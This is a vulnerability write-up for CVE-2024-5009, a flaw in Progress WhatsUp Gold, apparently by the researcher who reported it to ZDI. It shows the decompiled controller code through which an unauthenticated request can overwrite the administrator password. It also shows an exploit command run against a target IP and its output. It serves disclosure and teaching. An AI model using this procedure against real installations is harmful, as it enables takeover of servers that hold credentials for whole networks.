WhatsUp Gold SetAdminPassword Privilege Escalation

CVE-2024-5009

TLDR

Well this writeup is already quite easy, I don’t think it needs a TLDR, I noticed this bug exist in 4 minutes and then it took me 2 more minuts to test it, however, it doesn’t matter, a bug is a bug and I like technical details no matter how complex or how easy it is.

Introduction (yet another TLDR)

Here we go, April 24th I reported a privilege escalation against the latest version of progress whatsup gold. July 3rd the good folks of ZDI published the related advisory.

ZDI

What is WhatsUp Gold

ZDI

At the time, one of many definitions for this product on the vendor’s website is:

WhatsUp Gold provides complete visibility into the status and performance of applications, network devices and servers in the cloud or on-premises.

but I describe this as a legitimate C2 where you can manage all sorts of victims I mean end-users and have their credentials stored in this software to manage them remotely, for example:

ZDI

there are multiple purposes for all of this is one is to be able to collect performance information from these endpoints apparently the other is to manage them remotely or as I’d like to say execute commands remotely, here we care about the exploitation and so that’s good enough information to know what things someone might be able to have once this software is popped which probably is your entire network of users/machines/switches/routers that you have added to this software.

Advanced .NET Exploitation

sponsor of today’s PoC drop is me, if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you all you need about .net related vulnerabilities, things like reverse engineering .net targets, crafting deserialization exploits, finding gadgets, mapping out complicated attack surfaces, and how to pop shellz on .net targets, from basic to advanced, I got you ^_^

AdvancedNetExploitationTraining

The Vulnerability

Following method is part of the MVC architecture of Whatsup gold, it expects one argument of type SetPasswordViewModel, once recived it will first (line 2) make a call to this.isWugServer() method, and if the result of the call is false then line (4) is executed to send a redirect to the login page.

Next, at line (9) the IsValid property of the base.ModelState is validated, this flag is set in case the passed model argument to this controller was correct, and i fso, then line (11) will retrieve a handle to the administrator user of the current whatsup gold installation instance and at line (12) it will overwrite the password of this user to the value provided via model.Password

Finally at line (15) a new cookie is issued and returned which will contain a valid session as the current administrator

lets investigate how does this.isWugServer work

public ActionResult SetAdminPassword(SetPasswordViewModel model)
 1:  {
 2:      if (!this.isWugServer())
 3:      {
 4:          return base.RedirectToAction("Login", "User", new
 5:          {
 6:              area = ""
 7:          });
 8:      }
 9:      if (base.ModelState.IsValid)
10:      {
11:          string adminUserName = this.config.GetAdminUserName();
12:          this.currentUser.SetAdminPassword(model.Password);
13:          string text;
14:          DependencyResolverExtensions.GetService<IUserService>(DependencyResolver.Current).ValidateUser(ref adminUserName, model.Password, ref text);
15:          FormsAuthentication.SetAuthCookie(adminUserName, false);
16:          base.Response.Cookies.Add(new HttpCookie("loggedInAt", DateTime.Now.ToString()));
17:          this.ins.InstallStep = InstallStep.Finished;
18:          return base.RedirectToAction("Index", "Home", new
19:          {
20:              area = ""
21:          });
22:      }
23:      if (InstallController.<>o__8.<>p__0 == null)
24:      {
25:          InstallController.<>o__8.<>p__0 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "adminUserName", typeof(InstallController), new CSharpArgumentInfo[]
26:          {
27:              CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
28:              CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null)
29:          }));
30:      }
31:      InstallController.<>o__8.<>p__0.Target(InstallController.<>o__8.<>p__0, base.ViewBag, this.config.GetAdminUserName());
32:      return base.View();
33:  }

The Wug.UI.Controllers.InstallController.isWugServer is a private method returning a bool which will simply retrieve the REMOTE_ADDR value of the current request that is populated inside base.Request.ServerVariables and calls the WUGHostInfo.IsAddressLocal method, lets investigate

1:  private bool isWugServer()
2:  {
3:      return WUGHostInfo.IsAddressLocal(base.Request.ServerVariables["REMOTE_ADDR"]);
4:  }

The WhatsUp.WUGHostInfo.IsAddressLocal method uses the ipAddress argument at line (2) and comapres it to make sure the request is originating from localhost, if this condition fails then the foreach loop at line (8) is executed which will retrieve all the current machine network interfaces and makes sure they are active (line 10) and if so it will compare the ipAddress to the enumerator.Current.Address property (16) if a condition is satisfied true is returned, and if not, false is the answer

public static bool IsAddressLocal(string ipAddress)
 1:  {
 2:      if (ipAddress == "127.0.0.1" || ipAddress == "::1")
 3:      {
 4:          return true;
 5:      }
 6:      try
 7:      {
 8:          foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
 9:          {
10:              if (networkInterface.OperationalStatus == OperationalStatus.Up)
11:              {
12:                  using (IEnumerator<UnicastIPAddressInformation> enumerator = networkInterface.GetIPProperties().UnicastAddresses.GetEnumerator())
13:                  {
14:                      while (enumerator.MoveNext())
15:                      {
16:                          if (enumerator.Current.Address.ToString() == ipAddress)
17:                          {
18:                              return true;
19:                          }
20:                      }
21:                  }
22:              }
23:          }
24:      }
25:      catch (Exception)
26:      {
27:          return false;
28:      }
29:      return false;
30:  }

so now we understand that this controller is available only locally (or is it?), this allows a local attacker to escalate their privileges by overwriting the administrator password, by the way, did I mention this is reachable unauthenticated as well? well it is

Proof of Concept

you can find the exploit at the following github repository

python3 CVE-2024-5009.py --target https://192.168.0.231/

 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |

        (*) Progress WhatsUp Gold SetAdminPassword Privilege Escalation (CVE-2024-5009)

        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)

        (*) Technical details: https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/



(^_^) Prepare for the Pwnage (^_^)

(*) Generated random password is: e9513bc41e2a9acf
(*) Escalating...
(+) Escalation done, new admin password is: e9513bc41e2a9acf

now lets try logging in with admin:e9513bc41e2a9acf

zdif

done ^_^

zdif

ZERO DAY INITIATIVE

If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Progress at all, shout out to all of you people working there to make the internet safer.

ZDI

References